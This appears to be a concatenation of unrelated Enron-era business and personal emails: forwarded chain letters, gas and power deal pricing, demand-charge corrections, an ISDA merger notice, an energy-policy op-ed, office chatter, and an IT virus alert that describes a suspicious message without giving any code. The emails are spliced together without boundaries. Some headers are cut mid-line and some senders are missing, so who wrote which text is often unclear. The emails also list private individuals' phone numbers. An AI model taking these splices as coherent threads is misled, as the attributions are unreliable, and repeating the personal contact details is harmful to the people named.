ashley.long@tappharma.com <ashley.long@tappharma.com>
Date: Monday, April 10, 2000 10:31 AM
Subject: Fwd: FW: 70'S CHILD

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09:09:14 -0500
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Message-ID: <D19C76C1B0ACD11181BE00805F9F065FF4307A@TPAM>
From: "Browning, Erin" <Browning@pbworld.com>
To: "'Chris Carbo'" <ccarbo@hssbc.com>,        "Rosborough, Gala"  
<Rosborough@pbworld.com>,        "'Kacy'" <kcpeel@aol.com>, "Helms, Krista 
M."  <HelmsK@pbworld.com>
Subject: FW: 70'S CHILD
Date: Mon, 10 Apr 2000 10:13:26 -0400

> >
> >        >YOU KNOW YOU WERE A LITTLE GIRL IN THE 70's IF:
> >         >
> >         >
> >         >1. You wore that rainbow shirt that was half-sleeves and the
> > rainbow went
> > up
> >         >one sleeve, across your chest and down the other.
> >         >2. You made baby chocolate cakes in your Holly Hobbie Easy Bake
> >
> > Oven. You
> >         >washed them down with The Snoopy Snow Cone Machine.
> >         >3.  You had that Fisher Price Doctor's kit with a stethoscope
> > that
> > actually
> >         >worked.  After training with these tools you became an expert
> > at
> > the game
> > of
> >         >"operation".
> >         >4. Legos, Legos, Legos
> >         >5.  You owned a schwin bicycle with a floral banana seat and a
> > basket. In
> >         >the early 80's you moved onto the ever popular 10 speed.  Gosh
> > that
> > seat
> >         >hurt.
> >         >6.  Your rollerskates had metal wheels.
> >         >7.  Admit it......you thought Gopher from Love Boat was cute.
> > You
> > had
> >         >nightmares after watching Fantasy Island.
> >         >8.  You had rubber boots for rainy days.  Your shoes actually
> > fit
> > inside of
> >         >the boots (with a little help from your mom and some plastic
> > bags).
> >         >9.  You had Sea Wees in your bath tub.
> >         >10.  You had either a "bowl cut" or a "pixie" (not to mention
> > the
> > "Dorothy
> >         >Hamill") because your mom was sick of braiding your hair.  How
> > traumatic
> >         >when people thought you were a boy.
> >         >11.  Your sleeping bag was your most prized  possession.
> >         >12.  You wore a "poncho" with your faux fur "muff" and your
> > clogs.
> >         >13.  You begged Santa for the electronic game...Simon.
> >         >14.  You had the Donnie and Marie dolls with those pink and
> > purple
> > shredded
> >         >outfits.
> >         >15.  You spent hours out back on your metal swing set with the
> > trapeze.
> >         >16.  You were into ping pong.
> >         >17.  You had homemade ribbon barrettes in every imaginable
> > color.
> >         >18.  You kept losing your mittens so your mom bought you the
> > kind
> > that were
> >         >attached by a string.
> >         >19.  Your Hello Kitty pencil case was cuter than anyone else's.
> >
> >         >20.  You wanted to be Laura Ingalls Wilder really bad. You wore
> >
> > that Little
> >         >House on the Prairie-inspired plaid, ruffled shirt with the
> > high
> > neck in at
> >         >least one school picture. You despised Nelle Olson!
> >         >21.   You wanted your first kiss to be at the roller rink.
> >         >22. You tried to make sure that no boys would grab the comb out
> > of
> > your
> > back
> >         >pocket and skate away at the roller rink.
> >         >23.Your hairstyle was ever described as having "wings".
> >         >24.You thought Shaun Cassidy actually wrote the songs "Da Do
> > Run
> > Run" and
> >         >"Hey There Lonely Girl".
> >         >25. Strawberry Shortcake and her friends Blueberry Muffin and
> > Huckleberry
> >         >Pie.
> >         >26. You couldn't wait to be old enough to wear high-heeled
> > shoes....the
> >         >one's called "Yo Yo's" with the plastic heel with a hole
> > through
> > it!!
> >         >27. You carried a lunch box to school.
> >         >28. You and your girlfriends would fight over which of the
> > Dukes of
> > Hazard
> >         >was your boyfriend or who would get to be Ginger and who got
> > stuck
> > being
> >         >Mary Anne.
> >         >29. You memorized every song on the "Annie" movie and know at
> > least
> > one
> >         >person who immediately went out and got the Annie do.
> >         >30. You had Star Wars action figures, too.
> >         >31. You thought unicorns were real.
> >         >32. It was a big event in your household each year when the
> > "Wizard
> > of Oz"
> >         >would come on TV. Break out the popcorn and sleeping bags!
> >         >33.  You wanted to be a part of the Von Trappe family.
> >         >34. Light as a feather, stiff as a board.
> >         >35. You loved The Lion, The Witch, and the Wardrobe so much you
> > got
> > the
> >         >whole Chronicles of Narnia series for Christmas but never read
> > the
> > other
> >         >books.
> >         >36. You crawled in a wardrobe somewhere and actually believed
> > for a
> > few
> >         >seconds that you were on your way to Narnia.
> >         >37. You completely wore-out your Grease, Saturday Night
> > Fever,Footloose and
> >         >Flashdance soundtrack albums.
> >         >38. You tried to do lots of arts and crafts things, like yarn &
> >
> > popsicle
> >         >stick God's Eyes or those weird potholders made on a plastic
> > loom.
> >         >39. Shrinky-dinks!  What was so appealing about these?!
> >         >40. You used to tape record songs off the radio by holding your
> >
> > portable
> >         >tape recorder up to the speaker.
> >         >41.  You couldn't wait to get the free animal poster that came
> > when
> > you
> >         >ordered  books from the Scholastic book orders your teacher
> > would
> > give you.
> >         >Remember?
> >         >The order catalogs looked like miniature newspapers.
> >         >42.  You learned everything you needed to know about girl
> > issues
> > from Judy
> >         >Blume books. Are you there God? It's me, Margaret.
> >         >43. Care Bears.
> >         >44. You thought Olivia Newton John's song "Physical" was about
> > aerobics.
> >         >45.  "Wiggles" jeans with the embroidery on the back pockets.
> >         >46.  Friendship pins which you wore on your tennis shoes.
> >         >47. Shoelaces with heart or rainbow designs.
> >         >48. You ever wore knickers.
> >         >49. You collected Smurfs.
> >         >50.  You wanted to be a Solid Gold dancer.
> >         >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
>
> NetZero - Defenders of the Free World
> Click here for FREE Internet Access and Email
> http://www.netzero.net/download/index.html

Scott,

Attached is the indicative pricing for Calpine project. As you can see below, 
we need to verify some issues to get firm number. Please let me know if you 
need firmer number. Thank you.

Jinsung Myung
(Ext: 37330)
---------------------- Forwarded by Jinsung Myung/Corp/Enron on 02/24/2000 
06:28 PM ---------------------------
   
	From:  Edith Cross @ ECT                           02/24/2000 05:48 PM
	
To: Benjamin Rogers/HOU/ECT@ECT, Jinsung Myung/Corp/Enron@Enron
cc: Humberto Cubillos-Uejbe/HOU/ECT@ECT, Berney C Aucoin/HOU/ECT@ECT 

Subject: Calpine

Ben and Jinsung,

We have not had time to pass this information by the traders.  If we resolve 
the issues regarding location, unit contingency, etc., we can get a better 
number from the traders.  For now, these are indicative prices only.  Once we 
understand the deal better, we can talk to the traders and get a firmer 
price.  Also, Jim Fallon has requested that his traders receive a term sheet 
prior to agreeing to a price.

Here is the information you requested, based on the assumptions sent in the 
e-mail below:

Further assumptions:
180 MW
Priced at PJM East hub, no cost is added for any transmission
Must be called in 16 hour blocks
Total start costs: $1200 per start ($300 per turbine)
No escalation in VOM
95% availability

3 year capacity:  $3.80 kw/mo
5 year capacity:  $3.74 kw/mo

---------------------- Forwarded by Claire Broido/HOU/ECT on 02/23/2000 12:10 

02/23/2000 09:13 AM
To: Claire Broido/HOU/ECT@ECT, Jinsung Myung/Corp/Enron@Enron
cc: Thomas M Suffield/Corp/Enron@Enron 
Subject: 

Claire:
Here is the information for the Calpine project that we talked about 
yesterday and that Jim Simpson sent you the e-mail about.  

Hypothetical 4 LM 6000 Peaking Project in Eastern PJM
VOM:  $2.23
H.R. 10,5000
Gas Curve: Transco Zone 6
Power Curve: East Hub Curve in PJM
Commercial Operations Date: 6/1/01

We are looking for a 3 and 5 year capacity number ($/kw-mo.) one number for 
each time period.  Please let me know if you need any more information 
regarding the project.  Thanks for your help.
Ben

---------------------- Forwarded by Kay Mann/Corp/Enron on 10/31/2000 09:17 

Claudette Harvey@ECT
10/31/2000 09:17 AM
To: Heather Kroll/HOU/ECT@ECT, Jeffery Ader/HOU/ECT@ECT, Ozzie 
Pagan/HOU/ECT@ECT, Stephen Plauche/Corp/Enron@Enron, Kay Mann/Corp/Enron@Enron
cc: Scott Healy/HOU/ECT@ECT 

Subject: Fuel Cell - conference call (time change)

The following time for a conference call to discuss outstanding issues, 
purchase document, latest draft...etc. w/Fuel Cell will be held today, 
Tuesday, October 31:

  Time:  12:00 pm - 4:00 pm (central time)

  Location:  EB-2938

  Topic:  Fuel Cell - conference call/discussions

call me if you need anything else.

claude
3-0497

Carol and Mark - I don't think we currently trade asset backed securities, 
but I have gotten calls from several originators on the possibilty.   We can 
let the Bond Market Association fight this, but didn't want anything to get 
by us.

----- Forwarded by Chris Long/Corp/Enron on 03/14/2001 05:20 PM -----

	"Hampton, Frank" <fhampton@bondmarkets.com>
	03/14/2001 02:28 PM
		 
		 To: "'rainslie@isda.org'" <rainslie@isda.org>, "'andrew.w.alter@ssmb.com'" 
<andrew.w.alter@ssmb.com>, "'kbailey@exchange.ml.com'" 
<kbailey@exchange.ml.com>, "'dbartlett@smithfree.com'" 
<dbartlett@smithfree.com>, "'gabriel.benincasa@msdw.com'" 
<gabriel.benincasa@msdw.com>, "Blanchard, Laricke" <blanchardl@citi.com>, 
"'lawrence.brandman@gs.com'" <lawrence.brandman@gs.com>, 
"'nancy.k.callahan@chase.com'" <nancy.k.callahan@chase.com>, 
"'scarey@isda.org'" <scarey@isda.org>, "'jane.carlin@msdw.com'" 
<jane.carlin@msdw.com>, "Coppola, Heidi S." <heidi.coppola@ssmb.com>, 
"'ann.costello@gs.com'" <ann.costello@gs.com>, "'dcunning@cravath.com'" 
<dcunning@cravath.com>, "'rfergerson@bear.com'" <rfergerson@bear.com>, 
"'genova_diane@jpmorgan.com'" <genova_diane@jpmorgan.com>, 
"'joe.giunta@ssmb.com'" <joe.giunta@ssmb.com>, "'mastern@bear.com'" 
<mastern@bear.com>, "'marjorie.gross@chase.com'" <marjorie.gross@chase.com>, 
"'sgrosshandler@cgsh.com'" <sgrosshandler@cgsh.com>, "'ggoldman@cgsh.com'" 
<ggoldman@cgsh.com>, "'susan.johnson@citicorp.com'" 
<susan.johnson@citicorp.com>, "'kkopelman@bear.com'" <kkopelman@bear.com>, 
"'clong@enron.com'" <clong@enron.com>, "'roger.machlis@csfb.com'" 
<roger.machlis@csfb.com>, "'marianna.maffucci@db.com'" 
<marianna.maffucci@db.com>, "Messina, Ray" <ray_messina@msdw.com>, 
"'dmoorehead@pattonboggs.com'" <dmoorehead@pattonboggs.com>, 
"'gabriella.morizio@csfb.com'" <gabriella.morizio@csfb.com>, 
"'tim.moy@csfb.com'" <tim.moy@csfb.com>, "Murphy, Jeanne Marie" 
<jeanne-marie.murphy@bankofamerica.com>, "O'Neill, Lynn" <loneill@bear.com>, 
"'sibyl.peyer@gs.com'" <sibyl.peyer@gs.com>, "'rpickel@isda.org'" 
<rpickel@isda.org>, "'donna.powell@gs.com'" <donna.powell@gs.com>, 
"'ksaperstein@dtcc.com'" <ksaperstein@dtcc.com>, "'paul.scheufele@csfb.com'" 
<paul.scheufele@csfb.com>, "'mark.steffensen@msdw.com'" 
<mark.steffensen@msdw.com>, "Seidel, Joseph" <joseph.seidel@csfb.com>, 
"Stein, Michael" <michael_stein@msdw.com>, "'jay.strauss@gs.com'" 
<jay.strauss@gs.com>, "Strupp, Cory N." <strupp_cory@jpmorgan.com>, 
"'jay.taylor@barclayscapital.com'" <jay.taylor@barclayscapital.com>, "Thibau, 
Janelle" <jthibau@exchange.ml.com>, "'mvincigu@lehman.com'" 
<mvincigu@lehman.com>, "'dwaller@gscc.com'" <dwaller@gscc.com>, 
"'awaskow@exchange.ml.com'" <awaskow@exchange.ml.com>, 
"'mary.whalen@csfb.com'" <mary.whalen@csfb.com>, "'sarahleah.whitson@gs.com'" 
<sarahleah.whitson@gs.com>, "'thomas.wipf@msdw.com'" <thomas.wipf@msdw.com>, 
"Winchester, Judith A." <jwinches@lehman.com>, "'swolf@exchange.ml.com'" 
<swolf@exchange.ml.com>
		 cc: 
		 Subject: Asset-Backed Securitization

Sen. Paul Wellstone (D-MN) has filed an amendment to strike Section 912 of
S. 420 during Senate floor consideration of the bankruptcy bill.  It is
unclear when the vote on this Wellstone amendment will take place.  We are
circulating talking points against the amendment to the Hill and we
encourage you to help spread the word.  The attached word document explains
the benefits of asset-backed securitization.  Please contact me with any
questions at 202.434.8400.

  <<AssetBackedTalkingPointsLtrhd.doc>>

 - AssetBackedTalkingPointsLtrhd.doc

07:38 AM ---------------------------

03/30/2000 04:59 PM
"WhiteBL(Barbara)"<BLWhite@equiva.com>, Yvonne Acosta/Corp/Enron@ENRON, 
Michelle Neville/HOU/ECT@ECT, Eve Puckett/Corp/Enron@ENRON, Judy 
Hernandez/HOU/ECT@ECT, Shirlet Williams/HOU/ECT@ECT, Tharsilla 
Broussard/HR/Corp/Enron@ENRON, John Whiting/HOU/ECT@ECT
cc:  
Subject: Fwd: FW: A POEM FOR THE F-A-M-I-L-Y

this is nice
03/30/2000 03:55 PM ---------------------------

"LaTonya Carter" <l_carter61@hotmail.com> on 03/30/2000 03:49:07 PM
To: anthonya@risecom.net, dana62_@hotmail.com, regina.blackshear@enron.com, 
music@axs4u.net, DBUAKA1998@aol.com, v_ashford@hotmail.com
cc:  

>To: queen33@hotmail.com, fdeary@hotmail.com, derexw@hotmail.com,
>l_carter61@hotmail.com, asmith@pwe.ci.houston.tx.us,
>sweetmama_nicey@hotmail.com, dishonest19@hotmail.com, c-traylor@ti.com,
>asiaabdullah@ProdigyBiz.net, Karibbean@excite.com, valliar2000@yahoo.com,
>lewisf@TIRR.TMC.EDU, Juan_Johnson@hotmail.com, Onlysexylady@aol.com,
>KalimahAbdullah@PZLQS.com, dmukes@pwe.ci.houston.tx.us,
>Subject: Fwd: FW: A POEM FOR THE F-A-M-I-L-Y
>Date: Thu, 30 Mar 2000 09:43:54 CST
>
>
>
>>>ENJOY THIS READING.
>>
>>>A POEM FOR THE F-A-M-I-L-Y
>>>
>>> > I ran into a stranger as he passed by.
>>> > "Oh, excuse me please" was my reply.
>>> >
>>> > He said, "Please excuse me too;
>>> > wasn't even watching for you."
>>> >
>>> > We were very polite, this stranger and I.
>>> > We went on our way and we said good-bye.
>>> >
>>> > But at home a different story is told,
>>> > How we treat our loved ones, young and old.
>>> >
>>> > Later that day, cooking the evening meal,
>>> > My daughter stood beside me very still.
>>> >
>>> > When I turned, I nearly knocked her down.
>>> > "Move out of the way," I said with a frown.
>>> >
>>> > She walked away, her little heart broken.
>>> > I didn't realize how harshly I'd spoken.
>>> >
>>> > While I lay awake in bed,
>>> > God's still small voice came to me and said,
>>> >
>>> > "While dealing with a stranger, common courtesy you use,
>>> > But the children you love, you seem to abuse.
>>> >
>>> > Look on the kitchen floor,
>>> > You'll find some flowers there by the door.
>>> >
>>> > Those are the flowers she brought for you.
>>> > She picked them herself, pink, yellow and blue.
>>> >
>>> > She stood quietly not to spoil the surprise,
>>> > and you never saw the tears in her eyes."
>>> >
>>> > By this time, I felt very small
>>> > and now my tears began to fall.
>>> >
>>> > I quietly went and knelt by her bed;
>>> > "Wake up, little girl, wake up," I said.
>>> >
>>> > "Are these the flowers you picked for me?"
>>> > She smiled, "I found 'em, out by the tree.
>>> >
>>> > I picked 'em because they're pretty like you.
>>> > I knew you'd like 'em, especially the blue."
>>> >
>>> > I said, "Daughter, I'm sorry for the way I acted today;
>>> > I shouldn't have yelled at you that way."
>>> >
>>> > She said, "Oh, Mom, that's okay. I love you anyway."
>>> > I said, "Daughter, I love you too,
>>> >
>>> > and I do like the flowers, especially the blue."
>>> >
>>> >
>>> > ====================================================
>>> >
>>> > Are you aware that:
>>> >
>>> >
>>> > If we die tomorrow, the company that we are working for could easily
>>> > replace us in a matter of days. But the family we left behind will
>>>feel
>>> > the loss for the rest of their lives. And come to think of it, we pour
>>> > ourselves more into work than to our family - an unwise investment
>>> > indeed. So what is behind the story?
>>> >
>>> > You know what is the full word of family?
>>> > FAMILY = (F)ATHER (A)ND (M)OTHER, (I) (L)OVE (Y)OU ?
>>> >
>>> > It is worthwhile to share more time with them as they are getting
>>>older.
>>> > Make balance among all things.
>>> >
>>> > Fill life with love and bravery and we shall live a life uncommon.
>>
>

Imad,

Just wanted to let you know that I passed your resume on to the desk 
director. 

Mat 

Please use this form of the CA.  We had to change the heading.  Thanks
Ben

I got a call today from Sterling Cook at Trans Alta in Calgary telling me that they merged with MEGA.  I'm passing this on to you for handling.  Sterling's ph: is 403/267-6991.  I also asked him to give us the phone number of their credit person so our credit person could talk to their credit person.  He mentioned sending us an amendment changing guaranties and thresholds, and I told him we would have to get that approved by Credit.
From: 	Sterling_Koch@transalta.com@ENRON [mailto:IMCEANOTES-Sterling+5FKoch+40transalta+2Ecom+40ENRON@ENRON.com] 
Sent:	Friday, October 05, 2001 5:00 PM
Cc:	Katalin_Kiss@transalta.com; Maureen_Piercey@transalta.com
Subject:	REQUEST >> ISDA Notice and Amendment

Please find attached our form of notice and amendment to the ISDA agreement
between MEGA and Enron North America (as successor to Enron Capital& Trade
Resources).   Let me know if you have any changes and we will forward
executed copies along with copies of the Merger Certificates.  THX
Sterling
403-267-6991
PS: Our credit person is Maureen Piercey 403-267-7987.
(See attached file: MEGA merger notice - Enron NA.doc)(See attached file:
Enron NA AMENDMENT - schedule - blk1.doc)

 - MEGA merger notice - Enron NA.doc 
 - Enron NA AMENDMENT - schedule - blk1.doc 

=09=09=09[IMAGE]     [IMAGE] [IMAGE] [IMAGE]  =09
 =09=09=09[IMAGE]=09
=09 [IMAGE]  [IMAGE]  Dear larry:   These days we could all use  some help =
finding the right investment opportunity. That's why at  E*TRADE, we offer =
you a wide variety of easy-to-use tools and services?all  designed to help =
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RADE Bank
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ers over 5,000 shares, add $0.01/share  to the entire order. Add $35.00 for=
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t holders must maintain minimum funding  in all accounts ($1,000 for cash a=
ccounts, $2,000 for margin accounts, less  any losses) for at least six mon=
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lid with any other offer. This offer is nontransferable.    2  Inclusion of=
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e E*TRADE logo are trademarks or registered trademarks of E*TRADE  Group, I=
nc. or its subsidiaries. =09

	Credit Review Meeting EB13C2

Date:		12/4/2000
Time:		2:00 PM - 3:30 PM (Central Standard Time)

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	CAN NEW YORK AVOID CALIFORNIA'S BLACKOUTS? 
Monday,April 2,2001 
	
	By WILLIAM TUCKER 
	
WILL New York be able to avoid a California-type power shortage this summer? 
Right now, the odds look pretty good. A lot depends right now on whether 
Mayor Giuliani can keep his mouth shut. 
	Last week, the mayor departed from his Republican principles for a moment to 
advocate "temporary" price controls on wholesale electricity in the 
Northeast. 
	"The double-digit price increases that New Yorkers had to pay last summer are 
just unacceptable," said Giuliani at a press conference. "Deregulation should 
not be abandoned, it should be completed. The problem is when we deregulated 
we didn't think it would affect us so quickly. We need a little adjustment 
right now." 
	Ah yes, just a teeny-weenie little adjustment just to get us through the next 
few months, right? Just like rent control - a "temporary wartime measure" 
imposed in 1943. 
	Price controls are never temporary. They just make things worse by producing 
shortages. And the more shortages they produce, the more people agitate for 
more regulations. It's a vicious cycle that eventually becomes almost 
impossible to escape. 
	California is having blackouts right now because, until this week at least, 
the public and political officials were unwilling to accept a rate increase. 
(Before last week, Gov. Gray Davis' major power-conservation achievement was 
having "energy savings tips" printed on McDonald's placemats.) 
	Rate hikes do two essential things: 1) encourage people to conserve and 2) 
bring in more supply. That's exactly what's needed. Mayor Giuliani's price 
controls would only anaesthetize the public to the need for conservation and 
discourage supply - a perfect prescription for California-type blackouts. 
	What's even more important than avoiding rotating blackouts, however, is 
convincing people that environmental amenities don't come free. If everybody 
is going to oppose power plants in their neighborhood, then nobody is going 
to have enough electricity. 
	California got itself into its mess by refusing to build power plants over 
the last 20 years. The state didn't want nuclear (too dangerous), it didn't 
want coal (too dirty), so it formulated a make-believe strategy of 
"conservation and renewables." In fact, the Golden State has done a heroic 
job in both. California ranks dead last among the 50 states in per-capita 
electricity consumption. It also gets 12 percent of its energy from 
renewables (geothermal, windmills, biomass, solar electric) - as opposed to 1 
percent for the rest of the country. 
	Yet the state still finds itself woefully short of power. There isn't any 
substitute for large generating stations. Contrary to public opinion, 
electricity is not produced by sticking the plug in the wall. 
	New York faces the same long-range problems. The city has not built a new 
power plant since 1959. Nobody upstate wants power plants either. (They argue 
it would "reindustrialize the Hudson.") Right now, residents of Rockland 
County are furiously resisting a clean, new 600-mega- watt power station in 
an already industrialized area. Yet even building in Rockland won't help New 
York City, because nobody wants the transmission lines either. 
	The final verdict from the laws of supply-and-demand is simple. If demand 
goes up and supply doesn't respond, then prices will go up as well. 
	Even mainstream environmental groups now acknowledge this. "We're all in 
favor of building new gas generators," says Ashok Gupta, senior economist at 
the Natural Resources Defense Council, which is not opposing the 10 peaking 
generators proposed for the city. "The new plants are twice as efficient and 
much cleaner. Every time we build a clean, new gas plant, we back out two 
dirty older ones." The Sierra Club is also backing new natural-gas power 
plants in California. 
	What's needed is a system for compensating people who live in the immediate 
vicinity. There are dozens of possibilities. Property taxes could be lowered, 
people could be paid cash rewards or given free electricity. Many an upstate 
town and village lives comfortably with prisons or power plants because they 
lower property taxes and provide jobs for the community. 
	"We can have both adequate power and a clean environment," says Gupta, who 
lives and works in Manhattan. "The technology for improvements, both on 
supply and demand. The only thing lacking is consensus and leadership." It's 
a small price to pay for avoiding a California debacle. 
	
	RUDY'S ELECTRIC ERROR 
	
The energy crisis now building nationally is serious, but it's no cause for 
panic. Mayor Giuiliani, for one, needs to rethink a key element in his own 
approach to New York's incipient energy woes. 
	For sure, Hizzoner last week included some common-sense pronouncements in his 
prescription - such as forcefully telling the environmentalists and "not in 
my backyard" crowds that more energy-producing plants are essential if New 
York is to avoid a California-style crisis. 
	However, in one area, Mayor Giuliani is wrong: He wants energy price 
controls. 
	Yes, energy prices are going to spike in the near term. And it will be 
tempting to define the results as an "emergency" warranting government 
intervention. 
	But today's emergency becomes tomorrow's entitlement. 
	"Temporary" actions acquire constituencies that fight tooth and nail to keep 
them permanently in place. 
	For example, take rent control - please. 
	It was a wartime - World War II - provision instituted in 1943. 
	Two years later, the war ended. Fifty-eight years later, the "emergency" 
controls remain. 
	And affordable New York City apartments are nearly nonexistent. 
	The rent controls give landlords little incentive to maintain existing 
buildings. New construction goes only to pricey luxury apartments. Thus it 
has become nearly impossible for the middle-class to live in Manhattan. 
	If you like what rent control has wrought in the Big Apple's housing market, 
you'll love what price controls will do for the energy market. 
	Rudolph Giuliani's legacy is assured. It is undeniably a positive one - 
having, among other things, made the city safe and livable once again. 
	What a pity to tar that by being the mayor who saddled succeeding city 
leaders with price controls that would cause energy shortages far into the 
future. 
	
Date: Friday, June 1, 2001
Time: 6pm
Place: Tasca's, 908 Congress St.

Valet parking is available. 

See you then,
Lisa

Barry need your 2000 accomplishment and Enron resume/deal anthology before 
Friday

Thanks
Dave

The result of the Cy- Fair footballs oldest rivalry the Packers top the Bears 
13 to 6

#992523 is the valid deal.  When the second deal was created, the deand charges should have been deleted.

It has been fixed.

Thanks

From: 	Mendoza, Genaro  
Sent:	Monday, January 14, 2002 9:24 AM
Subject:	FW: Nov. 01 Demand Charges billed to Northwest Natural

Kam, 

I am not sure if Anne Bike is still with Enron, but this email could not be delivered to her. Can you look at the email below and let me know if it is something you can help me with?

Thanks,
Genaro

Sent:	Monday, January 07, 2002 1:20 PM
To:	Bike, Anne
Subject:	Nov. 01 Demand Charges billed to Northwest Natural

Anne,

For Nov. 2001, ENA billed Northwest Natural Gas for demand charges on deal # 992523 and deal # 967236. The total amount for each deal was $127,500.00 (300,000 @ $.425). The customer paid for only one of the deals. Do you know if both deals are valid and the customer is responsible for paying both? (Note: the comments on deal # 967236 state - seller's choice, if gas is delivered @ Caly Basin use # 992523.) Please advise.

Thanks,
Genaro

Anyone interested??  Read below

---------------------- Forwarded by Chris Germany/HOU/ECT on 08/31/2000 01:36 

liane_kucher@mcgraw-hill.com on 08/31/2000 12:15:07 PM
cc:  
Subject: Inside FERC spreadsheet

Chris,
Most companies send us their fixed-price bidweek data in this format. It's 
more
accurate since we just have to transfer the data instead of retyping 
everything
into our master database. It also saves time on days like today when we have 
to
turn everything over in a day. Anyone with questions can give me a call --
thanks!!
Liane Kucher, Inside FERC
202-383-2147
(See attached file: IFERC.xls)

 - IFERC.xls

Megan, 

I changed the demand fee for Jan.  It looks like Trisha has changed the 
Transport ticket for the $.11.  I agree with the header charges.

D

	From:  Megan Parker @ ENRON                           03/14/2001 03:47 PM
	
cc:  
Subject: Re: Tenaska IV 1/01  

TXU revised their rates for Jan 2001. They are now billing us at $0.10 and 
$0.08 for contract 1671.  This was previously billed all at $0.10.  Please 
change the demand fee on deal 384258 from $3,841,888.11 to $3,830,131.18.

Also, I spoke to TXU about the rate on contract 1856 (deal 452475).  They 
have been billing us $0.11 and we have $0.10.  The extra cent is for the El 
Paso header fee.  The pricing you gave me is for contract 1671, but also has 
the header fee if you look on page 5 of 6.  You'll see a a section called 
"Compression & Header Expense if Utilized".  The current rate for 1856 is 
$0.01 and 0% fuel.  I will leave a copy of the contract in your chair.

Thanks,
Megan

03/13/2001 10:54 AM
To: Megan Parker/Corp/Enron@ENRON
cc:  

I have made the changes mentioned below.  I've also adjusted the spreadsheet 
based on our conversation yesterday.  Take a look at it when you get a chance.

D

	From:  Megan Parker @ ENRON                           03/13/2001 09:06 AM
	
cc:  
Subject: Tenaska IV 1/01

We need to change the demand fees for Tenaska IV based on actuals for Jan 
2001.   Tenaska owes us some additional money.  I have attached my netting 
spreadsheet if you need it.

Deal 514353  Change MMBtu from 45,000 to 46,113
Deal 384258  Change amount from $3,934,644.50 to $3,841,888.11

I got your message regarding Apache.  I will just leave the pay the lesser 
ofs there until they come back for it.   Also, Mark checked with TXU and we 
do not have the rights to get dailies for the Tenaska meters.  He said that 
only the interconnecting pipes get dailies.  For the spreadsheet, I am just 
going to prorate the actuals based on the noms.  

I will let you know when we receive the payment from Brazos for Feb 2001, so 
you can enter the demand fee to forward the cash to Tenaska IV.

Thanks,
Megan

Mr. Hobby,

Jeff Skilling and Rebecca Carter will stop by your open house Wednesday.  He 
does have his children early evening, so they will probably arrive after 7:30 
p.m.

Please let me know if you need additional information.

Regards,

"Hobby, Paul" <pwhobby@hobbycomm.com> on 11/30/2000 10:23:04 AM
To: "'jeff.skilling@enron.com'" <jeff.skilling@enron.com>
cc:  

Subject: christmas gathering

in martha's vineyard you had mentioned that you wanted to walk through our
house and i have been remiss in offering, an opportunity to redeem myself
would be if you (and rebecca) could join us for an open house @ 3980 del
monte  6:30-9:00 next wed nesday december 6th, hope to see you there

I was looking in the TV guide and did not see where it is on this week let me know if they changed the date and time.

From: 	Evans, Ted  
Sent:	Monday, November 12, 2001 11:49 AM
To:	Tholt, Jane M.
Subject:	RE: How good is Temptation Island 2

um.....no....sorry - i guess he is why you are watching?

aren't there good looking boys on the island?

From: 	Tholt, Jane M.  
Sent:	Monday, November 12, 2001 11:20 AM
To:	Evans, Ted

Have you seen Ben on Felicity?

Sent:	Monday, November 12, 2001 11:01 AM

i don't understand how you put Felicity on the same level at TI2...

Sent:	Monday, November 12, 2001 10:45 AM

I am a desperate person for entertainment-what can I say.

Sent:	Monday, November 12, 2001 10:35 AM

that is horrible - i am embarrassed for you...

Sent:	Monday, November 12, 2001 10:31 AM

it's on the sasme night as Felicity

Sent:	Monday, November 12, 2001 10:30 AM

that's no fun

Sent:	Monday, November 12, 2001 10:27 AM
Subject:	FW: How good is Temptation Island 2

Sent:	Friday, November 09, 2001 7:46 AM
Subject:	How good is Temptation Island 2

I'm not sure I'm going to watch it.  None of the people really interest me

Hello all,

This is to alert or remind everyone that beginning today (4/30/01)
I will be taking over Bilal Bajwa's responsibilities of generating the morning
VAR and P&L reports.  Please contact me regarding the reports for the 
next two months if you have any questions.

-Elizabeth Shim.
Office: (713) 853-0550 (ext 3-0550)
Home: (713) 523-7093
Cell: (713) 927-4782.

Hi, Sara!

Cynthia asked me to check with you guy about a Korean entity.  Michael 
Moulton has done a swap with a Korean entity that will be confirmed under a 
confirmation with Annex A attached.  Are there any special provisions we need 
to add for a Korean entity?

Thanks!

Marie

Please be aware that there is an email circulating the Enron messaging environment !!!

The infected email has the following characteristics :
Subject :	Hi
Body :	Hi, I found a cool site! <web link> It's really cool!

An alternative version of the infected email also have an Excel spreadsheet attachment.

If you receive this email, DELETE it immediately. DO NOT CLICK ON THE WEB LINK. DO NOT LAUNCH THE EXCEL ATTACHMENT!

Please note that opening the email automatically via the "preview pane" does NOT launch the virus.

The Enron global messaging service has taken the necessary steps to ensure all internet email sent to your Enron internet address is virus free. But there are ways that you can ensure viruses do not make their way into our environment  :

Always ensure you do not launch attachments or web links received from people you do not know. 

Always ensure that you do not access/launch/download any attachments from external (web-based) email service providers while you are using the Enron network.

Detection + Prevention = Protection!

Thank you.

Attached is the master gas agreement, ready for  Clarksdale's review.

We haven't had any feedback from Yazoo City.  When can we expect their 
feedback?

Thanks,

Kay

---------------------- Forwarded by Tana Jones/HOU/ECT on 02/24/2000 02:03 PM 

"Patti Young" <pyoung@pdq.net> on 02/24/2000 01:28:42 PM
To: "Marcy Sartin" <srtnmarcy@aol.com>, "Tana Jones" <tana.jones@enron.com>, 
"Carol Gradziel" <swkeystone@aol.com>, "Susan Coomes" 
<susancoomes@andrews-kurth.com>, "Jeanette Harris" 
<jeanette-harris@reliantenergy.com>, "Debra Davison" 
<ddavison@falconseaboard.com>, "Regina d'Alessandro" <rdalessandro@att.com>, 
"Donna McConnell" <mcconned@spring-branch.isd.tenet.edu>, "Jeanne Freeman" 
<jefree@pdq.net>
cc:  
Subject: Fw: Frogs

> > > A fairy tale for the assertive woman of the 90's
>> > > >
>> > > Once upon a time,in a land far away,
>> > > A beautiful, independent,self assured princess,
>> > > happened upon a frog as she sat contemplating ecological issues
>> > > on the shores of an unpolluted pond in a verdant
>> > > meadow near her castle. The frog hopped into the Princess' lap
>> > > and said: Elegant Lady,I was once a handsome Prince,
>> > > until an evil witch cast a spell upon me.
>> > > One kiss from you, however, and I will turn back
>> > > into the dapper, young Prince that I am and then,
>> > > my sweet, we can marry and setup housekeeping in yon castle
>> > > with my Mother, where you can prepare my meals,
>> > > clean my clothes, bear my children,and forever feel grateful
>> > > and happy
>> > > doing so.
>> > >
>> > >
>> > >
>> > > That night, on a repast of lightly sauteed frogs legs
